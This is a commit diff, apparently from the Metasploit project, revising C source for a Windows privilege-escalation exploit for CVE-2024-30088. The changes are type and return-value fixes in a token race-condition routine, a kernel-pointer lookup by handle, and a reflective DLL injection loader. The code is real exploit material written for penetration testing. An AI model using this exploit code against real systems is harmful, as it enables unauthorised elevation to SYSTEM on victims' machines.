Responded to comments

rapid7 · Aug 30, 2024 · b011b67 · b011b67
1 parent b322343
commit b011b67
Show file tree

Hide file tree

Showing 4 changed files with 7 additions and 8 deletions.
diff --git a/data/exploits/CVE-2024-30088/CVE-2024-30088.x64.dll b/data/exploits/CVE-2024-30088/CVE-2024-30088.x64.dll
diff --git a/external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c b/external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c
@@ -2,7 +2,6 @@
 #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
 
 #include "ReflectiveLoader.c"
-#include <common.h>
 #include <stdio.h>
 
 

diff --git a/external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c b/external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c
@@ -54,7 +54,7 @@ HANDLE hToken;
 BYTE* TokenInfo = 0;
 DWORD Infolen = 0x1000;
 DWORD retlen = 0;
-DWORD OffsetToName = 0;
+INT64 OffsetToName = 0;
 BYTE* RaceAddr = 0;
 ULONGLONG kTokenAddr = 0;
 
@@ -75,7 +75,7 @@ HANDLE exploit() {
 
 	TokenInfo = (BYTE*)VirtualAlloc(0, Infolen, MEM_COMMIT, PAGE_READWRITE);
 	if (!TokenInfo)
-		return -1;
+		return INVALID_HANDLE_VALUE;
 
 	NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
 
@@ -92,7 +92,7 @@ HANDLE exploit() {
 	}
 
 	if (!OffsetToName)
-		return -1;
+		return INVALID_HANDLE_VALUE;
 
 
 	RaceAddr = TokenInfo + OffsetToName;

diff --git a/external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h b/external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h
@@ -11,7 +11,7 @@
 typedef struct _SYSTEM_HANDLE
 {
     PVOID Object;
-    HANDLE UniqueProcessId;
+    DWORD UniqueProcessId;
     HANDLE HandleValue;
     ULONG GrantedAccess;
     USHORT CreatorBackTraceIndex;
@@ -63,17 +63,17 @@ PVOID GetKernelPointerByHandle(HANDLE HandleValue)
     for (int i = 0; i < pHandleInfo->HandleCount; i++) {
         PVOID object = pHandleInfo->Handles[i].Object;
         HANDLE handle = pHandleInfo->Handles[i].HandleValue;
-        HANDLE pid = pHandleInfo->Handles[i].UniqueProcessId;
+        DWORD pid = pHandleInfo->Handles[i].UniqueProcessId;
 
-        if ((DWORD)pid == CurrentPid && handle == HandleValue) {
+        if (pid == CurrentPid && handle == HandleValue) {
             return object;
         }
 
     }
     return 0;
 }
 
-ULONG GetPidByName(const wchar_t* procname) {
+ULONG GetPidByName(const char* procname) {
     PROCESSENTRY32 entry;
     entry.dwSize = sizeof(PROCESSENTRY32);
     ULONG pid;